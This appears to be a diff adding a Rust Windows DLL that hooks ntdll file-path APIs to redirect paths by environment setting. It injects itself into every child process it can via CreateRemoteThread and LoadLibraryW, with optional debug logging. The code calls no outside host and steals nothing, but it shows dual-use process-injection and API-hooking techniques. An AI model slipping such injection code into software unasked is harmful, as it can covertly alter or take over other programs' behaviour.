||||||
|
);
|
||||||
|
dbg_log!(
|
||||||
|
"ntcreate[{seq}] in='{}' redirect={redirected} out=0x{status:x}",
|
||||||
|
crate::log::display_wide(&orig_path),
|
||||||
|
);
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
pub extern "system" fn detour_nt_open_file(
|
||||||
|
file_handle: *mut usize,
|
||||||
|
desired_access: u32,
|
||||||
|
object_attributes: *mut ObjectAttributes,
|
||||||
|
io_status_block: *mut IoStatusBlock,
|
||||||
|
share_access: u32,
|
||||||
|
open_options: u32,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_NT_OPEN_FILE.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return abi::STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
let seq = CALL_SEQ.fetch_add(1, Ordering::Relaxed);
|
||||||
|
let orig_path = unsafe { read_oa_path(object_attributes) };
|
||||||
|
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
unsafe { object_redirect(object_attributes) }
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let redirected = _guard.is_some();
|
||||||
|
let orig: NtOpenFileFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
let status = orig(
|
||||||
|
file_handle,
|
||||||
|
desired_access,
|
||||||
|
object_attributes,
|
||||||
|
io_status_block,
|
||||||
|
share_access,
|
||||||
|
open_options,
|
||||||
|
);
|
||||||
|
dbg_log!(
|
||||||
|
"ntopen[{seq}] in='{}' redirect={redirected} out=0x{status:x}",
|
||||||
|
crate::log::display_wide(&orig_path),
|
||||||
|
);
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
pub extern "system" fn detour_nt_delete_file(
|
||||||
|
object_attributes: *mut ObjectAttributes,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_NT_DELETE_FILE.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return abi::STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
unsafe { object_redirect(object_attributes) }
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let orig: NtDeleteFileFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
orig(object_attributes)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub extern "system" fn detour_nt_set_information_file(
|
||||||
|
file_handle: usize,
|
||||||
|
io_status_block: *mut IoStatusBlock,
|
||||||
|
file_information: *mut c_void,
|
||||||
|
length: u32,
|
||||||
|
class: u32,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_NT_SET_INFORMATION_FILE.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return abi::STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
let orig: NtSetInformationFileFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
|
||||||
|
if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
if let Some(redirect) = rename_redirect(file_information, class, length) {
|
||||||
|
return orig(
|
||||||
|
file_handle,
|
||||||
|
io_status_block,
|
||||||
|
redirect.as_ptr() as *mut c_void,
|
||||||
|
redirect.len() as u32,
|
||||||
|
class,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
orig(
|
||||||
|
file_handle,
|
||||||
|
io_status_block,
|
||||||
|
file_information,
|
||||||
|
length,
|
||||||
|
class,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub extern "system" fn detour_nt_query_attributes_file(
|
||||||
|
object_attributes: *mut ObjectAttributes,
|
||||||
|
file_information: *mut c_void,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_NT_QUERY_ATTRIBUTES_FILE.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return abi::STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
unsafe { object_redirect(object_attributes) }
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let orig: NtQueryAttributesFileFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
orig(object_attributes, file_information)
|
||||||
|
}
|
||||||
|
pub extern "system" fn detour_nt_query_full_attributes_file(
|
||||||
|
object_attributes: *mut ObjectAttributes,
|
||||||
|
file_information: *mut c_void,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return abi::STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
let _guard = if HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
unsafe { object_redirect(object_attributes) }
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
let orig: NtQueryFullAttributesFileFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
orig(object_attributes, file_information)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub extern "system" fn detour_create_process_w(
|
||||||
|
lp_application_name: *const u16,
|
||||||
|
lp_command_line: *mut u16,
|
||||||
|
lp_process_attributes: *mut c_void,
|
||||||
|
lp_thread_attributes: *mut c_void,
|
||||||
|
b_inherit_handles: i32,
|
||||||
|
dw_creation_flags: u32,
|
||||||
|
lp_environment: *mut c_void,
|
||||||
|
lp_current_directory: *const u16,
|
||||||
|
lp_startup_info: *mut StartupInfoW,
|
||||||
|
lp_process_information: *mut ProcessInformation,
|
||||||
|
) -> i32 {
|
||||||
|
let orig_addr = ORIG_CREATE_PROCESS_W.load(Ordering::SeqCst);
|
||||||
|
if orig_addr == 0 {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
let orig: CreateProcessWFn = unsafe { core::mem::transmute(orig_addr) };
|
||||||
|
|
||||||
|
let was_suspended = (dw_creation_flags & abi::CREATE_SUSPENDED) != 0;
|
||||||
|
let modified_flags = dw_creation_flags | abi::CREATE_SUSPENDED;
|
||||||
|
|
||||||
|
let result = orig(
|
||||||
|
lp_application_name,
|
||||||
|
lp_command_line,
|
||||||
|
lp_process_attributes,
|
||||||
|
lp_thread_attributes,
|
||||||
|
b_inherit_handles,
|
||||||
|
modified_flags,
|
||||||
|
lp_environment,
|
||||||
|
lp_current_directory,
|
||||||
|
lp_startup_info,
|
||||||
|
lp_process_information,
|
||||||
|
);
|
||||||
|
|
||||||
|
if result != 0 && !lp_process_information.is_null() {
|
||||||
|
let child_pid = unsafe { (*lp_process_information).dwProcessId };
|
||||||
|
if !HOOKS_INITIALIZED.load(Ordering::SeqCst) {
|
||||||
|
dbg_log!(
|
||||||
|
"CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection"
|
||||||
|
);
|
||||||
|
} else if let Some(path) = inject::our_path() {
|
||||||
|
if !path.is_empty() {
|
||||||
|
let ok = unsafe { inject::inject_library((*lp_process_information).hProcess, path) };
|
||||||
|
dbg_log!(
|
||||||
|
"CreateProcessW child pid={child_pid} app='{}' inject={ok} suspended_forced={}",
|
||||||
|
display_cmd(lp_application_name, lp_command_line),
|
||||||
|
!was_suspended,
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll path recorded");
|
||||||
|
}
|
||||||
|
if !was_suspended {
|
||||||
|
unsafe {
|
||||||
|
abi::ResumeThread((*lp_process_information).hThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
dbg_log!(
|
||||||
|
"CreateProcessW failed or no proc info (result={result}) — no injection"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
fn display_cmd(lp_application_name: *const u16, lp_command_line: *mut u16) -> String {
|
||||||
|
let raw = if !lp_application_name.is_null() {
|
||||||
|
unsafe { core::slice::from_raw_parts(lp_application_name, 512) }
|
||||||
|
} else if !lp_command_line.is_null() {
|
||||||
|
unsafe { core::slice::from_raw_parts(lp_command_line.cast_const(), 512) }
|
||||||
|
} else {
|
||||||
|
return String::new();
|
||||||
|
};
|
||||||
|
let end = raw.iter().position(|&c| c == 0).unwrap_or(raw.len());
|
||||||
|
crate::log::display_wide(&raw[..end])
|
||||||
|
}
|
||||||
|
|
||||||
|
fn install_one(
|
||||||
|
module: &[u16],
|
||||||
|
proc_name: &[u8],
|
||||||
|
detour: usize,
|
||||||
|
store: &AtomicUsize,
|
||||||
|
) -> bool {
|
||||||
|
let h_module = unsafe { abi::GetModuleHandleW(module.as_ptr()) };
|
||||||
|
if h_module == 0 {
|
||||||
|
dbg_log!(
|
||||||
|
"hook target: module '{}' not loaded",
|
||||||
|
crate::log::display_wide(module)
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let target = unsafe { abi::GetProcAddress(h_module, proc_name.as_ptr()) };
|
||||||
|
if target == 0 {
|
||||||
|
dbg_log!(
|
||||||
|
"hook target: export '{}' not found in '{}'",
|
||||||
|
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
|
||||||
|
crate::log::display_wide(module)
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
match unsafe { MinHook::create_hook(target as *mut c_void, detour as *mut c_void) } {
|
||||||
|
Ok(orig) => match unsafe { MinHook::enable_hook(target as *mut c_void) } {
|
||||||
|
Ok(()) => {
|
||||||
|
store.store(orig as usize, Ordering::SeqCst);
|
||||||
|
true
|
||||||
|
}
|
||||||
|
Err(why) => {
|
||||||
|
let _ = unsafe { MinHook::remove_hook(target as *mut c_void) };
|
||||||
|
dbg_log!(
|
||||||
|
"hook enable failed for '{}': {:?}",
|
||||||
|
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
|
||||||
|
why
|
||||||
|
);
|
||||||
|
false
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Err(why) => {
|
||||||
|
dbg_log!(
|
||||||
|
"hook create failed for '{}': {:?}",
|
||||||
|
String::from_utf8_lossy(&proc_name[..proc_name.len().saturating_sub(1)]),
|
||||||
|
why
|
||||||
|
);
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn install(cfg: HookConfig) {
|
||||||
|
let redirect_on = !cfg.search.is_empty() && !cfg.replace.is_empty();
|
||||||
|
dbg_log!(
|
||||||
|
"install: config loaded search={} replace={} -> redirect_active={}",
|
||||||
|
crate::log::display_wide(&cfg.search),
|
||||||
|
crate::log::display_wide(&cfg.replace),
|
||||||
|
redirect_on,
|
||||||
|
);
|
||||||
|
let _ = HOOKS_CONFIG.set(cfg);
|
||||||
|
|
||||||
|
let ntdll = util::wide_zstr("ntdll.dll");
|
||||||
|
let kernel32 = util::wide_zstr("kernel32.dll");
|
||||||
|
|
||||||
|
let create = install_one(&ntdll, b"NtCreateFile\0", detour_nt_create_file as *const () as usize, &ORIG_NT_CREATE_FILE);
|
||||||
|
let open = install_one(&ntdll, b"NtOpenFile\0", detour_nt_open_file as *const () as usize, &ORIG_NT_OPEN_FILE);
|
||||||
|
let delete = install_one(&ntdll, b"NtDeleteFile\0", detour_nt_delete_file as *const () as usize, &ORIG_NT_DELETE_FILE);
|
||||||
|
let set_info = install_one(&ntdll, b"NtSetInformationFile\0", detour_nt_set_information_file as *const () as usize, &ORIG_NT_SET_INFORMATION_FILE);
|
||||||
|
let query_attrs = install_one(&ntdll, b"NtQueryAttributesFile\0", detour_nt_query_attributes_file as *const () as usize, &ORIG_NT_QUERY_ATTRIBUTES_FILE);
|
||||||
|
let query_full = install_one(&ntdll, b"NtQueryFullAttributesFile\0", detour_nt_query_full_attributes_file as *const () as usize, &ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE);
|
||||||
|
let cpr = install_one(&kernel32, b"CreateProcessW\0", detour_create_process_w as *const () as usize, &ORIG_CREATE_PROCESS_W);
|
||||||
|
|
||||||
|
let _ = (delete, set_info, query_attrs, query_full);
|
||||||
|
|
||||||
|
dbg_log!(
|
||||||
|
"install: NtCreateFile={} NtOpenFile={} NtDeleteFile={} NtSetInformationFile={} NtQueryAttributesFile={} NtQueryFullAttributesFile={} CreateProcessW={}",
|
||||||
|
create, open, delete, set_info, query_attrs, query_full, cpr,
|
||||||
|
);
|
||||||
|
|
||||||
|
if create && open {
|
||||||
|
HOOKS_INITIALIZED.store(true, Ordering::SeqCst);
|
||||||
|
dbg_log!("install: hooks active (both NtCreateFile and NtOpenFile live)");
|
||||||
|
} else {
|
||||||
|
unsafe {
|
||||||
|
let _ = MinHook::disable_all_hooks();
|
||||||
|
}
|
||||||
|
ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_SET_INFORMATION_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_QUERY_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_CREATE_PROCESS_W.store(0, Ordering::SeqCst);
|
||||||
|
dbg_log!("install: rollback — hooks NOT active");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn remove() {
|
||||||
|
unsafe {
|
||||||
|
let _ = MinHook::disable_all_hooks();
|
||||||
|
}
|
||||||
|
unsafe {
|
||||||
|
abi::Sleep(50);
|
||||||
|
}
|
||||||
|
|
||||||
|
ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_SET_INFORMATION_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_QUERY_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.store(0, Ordering::SeqCst);
|
||||||
|
ORIG_CREATE_PROCESS_W.store(0, Ordering::SeqCst);
|
||||||
|
HOOKS_INITIALIZED.store(false, Ordering::SeqCst);
|
||||||
|
}
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
//! Child-process injection from disk: LoadLibraryW via CreateRemoteThread.
|
||||||
|
//!
|
||||||
|
//! The injected module path is exactly the path this DLL was loaded from, so a
|
||||||
|
//! child inherits the same staged copy the agent placed on disk.
|
||||||
|
|
||||||
|
use core::ffi::c_void;
|
||||||
|
use std::ptr::null_mut;
|
||||||
|
use std::sync::OnceLock;
|
||||||
|
|
||||||
|
use crate::abi::{self, GetModuleFileNameW};
|
||||||
|
use crate::dbg_log;
|
||||||
|
|
||||||
|
static OUR_PATH: OnceLock<Vec<u16>> = OnceLock::new();
|
||||||
|
|
||||||
|
/// Record the on-disk path of this DLL (called from DllMain on attach).
|
||||||
|
pub fn set_our_path(h_instance: usize) {
|
||||||
|
let _ = OUR_PATH.set(dll_path_from_hinst(h_instance));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Current on-disk path, if recorded.
|
||||||
|
pub fn our_path() -> Option<&'static Vec<u16>> {
|
||||||
|
OUR_PATH.get()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
|
||||||
|
let mut buf = vec![0u16; 1024];
|
||||||
|
unsafe {
|
||||||
|
let n = GetModuleFileNameW(h_instance, buf.as_mut_ptr(), buf.len() as u32);
|
||||||
|
buf.truncate(n as usize);
|
||||||
|
}
|
||||||
|
buf
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Inject `path` into `process` by writing the path into the target and running
|
||||||
|
/// LoadLibraryW on a remote thread. Returns false on any failure; callers treat
|
||||||
|
/// failure as fail-open (the child still runs, just without hooks).
|
||||||
|
pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
|
||||||
|
if path.is_empty() {
|
||||||
|
dbg_log!("inject: empty path — abort");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
let kernel32 = crate::util::wide_zstr("kernel32.dll");
|
||||||
|
let k32 = unsafe { abi::GetModuleHandleW(kernel32.as_ptr()) };
|
||||||
|
if k32 == 0 {
|
||||||
|
dbg_log!("inject: kernel32 not loaded — abort");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let load_library_w = unsafe { abi::GetProcAddress(k32, c"LoadLibraryW".as_ptr().cast()) };
|
||||||
|
if load_library_w == 0 {
|
||||||
|
dbg_log!("inject: LoadLibraryW not found — abort");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut remote_path = path.to_vec();
|
||||||
|
remote_path.push(0);
|
||||||
|
let bytes = remote_path.len() * 2;
|
||||||
|
dbg_log!(
|
||||||
|
"inject: target pid={} dll='{}' bytes={bytes}",
|
||||||
|
unsafe { abi::GetCurrentProcessId() },
|
||||||
|
crate::log::display_wide(path),
|
||||||
|
);
|
||||||
|
|
||||||
|
let base = unsafe {
|
||||||
|
abi::VirtualAllocEx(
|
||||||
|
process,
|
||||||
|
0,
|
||||||
|
bytes,
|
||||||
|
abi::MEM_COMMIT | abi::MEM_RESERVE,
|
||||||
|
abi::PAGE_READWRITE,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
if base == 0 {
|
||||||
|
dbg_log!("inject: VirtualAllocEx failed — abort");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut written = 0usize;
|
||||||
|
let ok = unsafe {
|
||||||
|
abi::WriteProcessMemory(
|
||||||
|
process,
|
||||||
|
base,
|
||||||
|
remote_path.as_ptr() as *const c_void,
|
||||||
|
bytes,
|
||||||
|
&mut written,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
if ok == 0 || written != bytes {
|
||||||
|
dbg_log!(
|
||||||
|
"inject: WriteProcessMemory failed (ok={ok} written={written}/{bytes}) — abort"
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut thread_id = 0u32;
|
||||||
|
let h_thread = unsafe {
|
||||||
|
abi::CreateRemoteThread(process, null_mut(), 0, load_library_w, base, 0, &mut thread_id)
|
||||||
|
};
|
||||||
|
if h_thread == 0 {
|
||||||
|
dbg_log!("inject: CreateRemoteThread failed — abort");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
let wait = unsafe { abi::WaitForSingleObject(h_thread, 30000) };
|
||||||
|
unsafe {
|
||||||
|
abi::CloseHandle(h_thread);
|
||||||
|
}
|
||||||
|
let ok = wait != abi::WAIT_FAILED && wait != abi::WAIT_TIMEOUT;
|
||||||
|
dbg_log!(
|
||||||
|
"inject: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}"
|
||||||
|
);
|
||||||
|
ok
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
//! BackstageInjection.x64.dll — Rust-port of the C hooking payload.
|
||||||
|
//!
|
||||||
|
//! On DLL_PROCESS_ATTACH the DLL:
|
||||||
|
//! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration;
|
||||||
|
//! - installs MinHook trampolines over ntdll path-resolution APIs and
|
||||||
|
//! kernel32!CreateProcessW;
|
||||||
|
//! - on CreateProcessW success for a child, injects this same DLL from its
|
||||||
|
//! on-disk path via LoadLibraryW.
|
||||||
|
//!
|
||||||
|
//! On DLL_PROCESS_DETACH all hooks are disabled best-effort.
|
||||||
|
|
||||||
|
#![allow(clippy::missing_safety_doc)]
|
||||||
|
#![allow(non_snake_case)]
|
||||||
|
|
||||||
|
mod abi;
|
||||||
|
mod config;
|
||||||
|
mod hooks;
|
||||||
|
mod inject;
|
||||||
|
mod log;
|
||||||
|
mod util;
|
||||||
|
|
||||||
|
use core::ffi::c_void;
|
||||||
|
|
||||||
|
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||||
|
const DLL_PROCESS_DETACH: u32 = 0;
|
||||||
|
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "system" fn DllMain(
|
||||||
|
h_instance: *mut c_void,
|
||||||
|
reason: u32,
|
||||||
|
_reserved: *mut c_void,
|
||||||
|
) -> i32 {
|
||||||
|
if reason == DLL_PROCESS_ATTACH {
|
||||||
|
unsafe {
|
||||||
|
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
|
||||||
|
inject::set_our_path(h_instance as usize);
|
||||||
|
}
|
||||||
|
log::init_from_env();
|
||||||
|
let cfg = config::load();
|
||||||
|
dbg_log!(
|
||||||
|
"DllMain attach pid={} search={} replace={}",
|
||||||
|
unsafe { abi::GetCurrentProcessId() },
|
||||||
|
crate::log::display_wide(&cfg.search),
|
||||||
|
crate::log::display_wide(&cfg.replace),
|
||||||
|
);
|
||||||
|
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
|
||||||
|
hooks::install(cfg);
|
||||||
|
}));
|
||||||
|
dbg_log!("DllMain attach: install returned (hooks existed prior -> no detach log)");
|
||||||
|
} else if reason == DLL_PROCESS_DETACH {
|
||||||
|
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
|
||||||
|
hooks::remove();
|
||||||
|
}));
|
||||||
|
dbg_log!("DllMain detach done");
|
||||||
|
}
|
||||||
|
|
||||||
|
1
|
||||||
|
}
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
//! Optional debug logging to `%TEMP%\Overlord\backstage\BackstageInjection-debug-<pid>.log`.
|
||||||
|
//!
|
||||||
|
//! Enabled when the `BackstageInjectionDebug` environment variable is `1` (the
|
||||||
|
//! agent sets it with `BACKSTAGE_DEBUG_LOG`). Logging is best-effort: any
|
||||||
|
//! failure is swallowed and never affects redirection or injection behavior.
|
||||||
|
//! Multi-process append uses FILE_APPEND_DATA so per-pid files stay separate;
|
||||||
|
//! threads serialize on a process-wide mutex.
|
||||||
|
|
||||||
|
use core::ffi::c_void;
|
||||||
|
use core::fmt;
|
||||||
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
|
use std::sync::{Mutex, OnceLock};
|
||||||
|
|
||||||
|
use crate::abi;
|
||||||
|
|
||||||
|
static DEBUG_ENABLED: AtomicBool = AtomicBool::new(false);
|
||||||
|
static LOG_HANDLE: OnceLock<Mutex<Option<usize>>> = OnceLock::new();
|
||||||
|
|
||||||
|
pub fn init_from_env() {
|
||||||
|
let name = crate::util::wide_zstr("BackstageInjectionDebug");
|
||||||
|
let mut buf = [0u16; 8];
|
||||||
|
unsafe {
|
||||||
|
let len = abi::GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), buf.len() as u32);
|
||||||
|
let enabled = len == 1 && buf[0] == 0x0031; // '1'
|
||||||
|
DEBUG_ENABLED.store(enabled, Ordering::SeqCst);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn display_wide(wide: &[u16]) -> String {
|
||||||
|
let trimmed = if wide.iter().rposition(|&c| c != 0).is_some() {
|
||||||
|
let end = wide.iter().rposition(|&c| c != 0).unwrap() + 1;
|
||||||
|
&wide[..end]
|
||||||
|
} else {
|
||||||
|
&wide[..0]
|
||||||
|
};
|
||||||
|
String::from_utf16_lossy(trimmed)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn log(args: fmt::Arguments<'_>) {
|
||||||
|
if !DEBUG_ENABLED.load(Ordering::SeqCst) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let handle = open_once();
|
||||||
|
if handle == abi::INVALID_HANDLE_VALUE {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
use core::fmt::Write as _;
|
||||||
|
let mut s = String::new();
|
||||||
|
let _ = s.write_fmt(args);
|
||||||
|
let mut line: Vec<u16> = s.encode_utf16().collect();
|
||||||
|
line.push(b'\r' as u16);
|
||||||
|
line.push(b'\n' as u16);
|
||||||
|
unsafe {
|
||||||
|
let mut written = 0u32;
|
||||||
|
let _ = abi::WriteFile(
|
||||||
|
handle,
|
||||||
|
line.as_ptr() as *const c_void,
|
||||||
|
(line.len() * 2) as u32,
|
||||||
|
&mut written,
|
||||||
|
core::ptr::null_mut(),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! dbg_log {
|
||||||
|
($($arg:tt)*) => {
|
||||||
|
$crate::log::log(format_args!($($arg)*))
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
fn open_once() -> usize {
|
||||||
|
let lock = LOG_HANDLE.get_or_init(|| Mutex::new(None));
|
||||||
|
let mut guard = lock.lock().unwrap_or_else(|poison| poison.into_inner());
|
||||||
|
if guard.is_none() {
|
||||||
|
*guard = open_log();
|
||||||
|
}
|
||||||
|
guard.unwrap_or(abi::INVALID_HANDLE_VALUE)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn open_log() -> Option<usize> {
|
||||||
|
let (base, dir, file) = log_paths()?;
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
abi::CreateDirectoryW(base.as_ptr(), core::ptr::null_mut());
|
||||||
|
abi::CreateDirectoryW(dir.as_ptr(), core::ptr::null_mut());
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
let handle = abi::CreateFileW(
|
||||||
|
file.as_ptr(),
|
||||||
|
abi::FILE_APPEND_DATA,
|
||||||
|
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
|
||||||
|
core::ptr::null_mut(),
|
||||||
|
abi::OPEN_ALWAYS,
|
||||||
|
0x80, // FILE_ATTRIBUTE_NORMAL
|
||||||
|
0,
|
||||||
|
);
|
||||||
|
(handle != abi::INVALID_HANDLE_VALUE).then_some(handle)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn log_paths() -> Option<(Vec<u16>, Vec<u16>, Vec<u16>)> {
|
||||||
|
let env_name = crate::util::wide_zstr("TEMP");
|
||||||
|
let mut temp = [0u16; 32768];
|
||||||
|
unsafe {
|
||||||
|
let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32);
|
||||||
|
if len == 0 || len >= temp.len() as u32 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let pid = abi::GetCurrentProcessId();
|
||||||
|
let base = concat_z(&temp[..len as usize], "\\Overlord");
|
||||||
|
let dir = concat_z(&temp[..len as usize], "\\Overlord\\backstage");
|
||||||
|
let file = concat_z(
|
||||||
|
&temp[..len as usize],
|
||||||
|
&format!("\\Overlord\\backstage\\BackstageInjection-debug-{pid}.log"),
|
||||||
|
);
|
||||||
|
Some((base, dir, file))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn concat_z(prefix: &[u16], suffix: &str) -> Vec<u16> {
|
||||||
|
let mut v = Vec::with_capacity(prefix.len() + suffix.encode_utf16().count() + 1);
|
||||||
|
v.extend_from_slice(prefix);
|
||||||
|
v.extend(suffix.encode_utf16());
|
||||||
|
v.push(0);
|
||||||
|
v
|
||||||
|
}
|
||||||
@@ -0,0 +1,169 @@
|
|||||||
|
//! Wide-string and path helpers ported from the C reference delivery.
|
||||||
|
|
||||||
|
use crate::abi::{CSTR_EQUAL, CompareStringOrdinal};
|
||||||
|
|
||||||
|
pub const UNICODE_STRING_MAX_WCHARS: usize = 32767;
|
||||||
|
|
||||||
|
pub fn wide_zstr(s: &str) -> Vec<u16> {
|
||||||
|
s.encode_utf16().chain(core::iter::once(0)).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn ci_eq(a: &[u16], b: &[u16]) -> bool {
|
||||||
|
if a.is_empty() || b.is_empty() {
|
||||||
|
return a.is_empty() && b.is_empty();
|
||||||
|
}
|
||||||
|
unsafe {
|
||||||
|
CompareStringOrdinal(a.as_ptr(), a.len() as i32, b.as_ptr(), b.len() as i32, 1)
|
||||||
|
== CSTR_EQUAL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn ci_find(haystack: &[u16], needle: &[u16]) -> Option<usize> {
|
||||||
|
if needle.is_empty() || haystack.len() < needle.len() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let hi = haystack.len() - needle.len();
|
||||||
|
for i in 0..=hi {
|
||||||
|
if ci_eq(&haystack[i..i + needle.len()], needle) {
|
||||||
|
return Some(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn normalize_path(path: &[u16]) -> (&[u16], usize) {
|
||||||
|
if path.len() >= 4 && path[0] == 0x005C && path[1] == 0x003F && path[2] == 0x003F && path[3] == 0x005C {
|
||||||
|
return (&path[4..], 4);
|
||||||
|
}
|
||||||
|
const DEVICE_PREFIX: &[u16] = &[
|
||||||
|
0x005C, 0x0044, 0x0065, 0x0076, 0x0069, 0x0063, 0x0065, 0x005C,
|
||||||
|
];
|
||||||
|
if path.len() >= DEVICE_PREFIX.len() && ci_eq(&path[..DEVICE_PREFIX.len()], DEVICE_PREFIX) {
|
||||||
|
return (path, 0);
|
||||||
|
}
|
||||||
|
(path, 0)
|
||||||
|
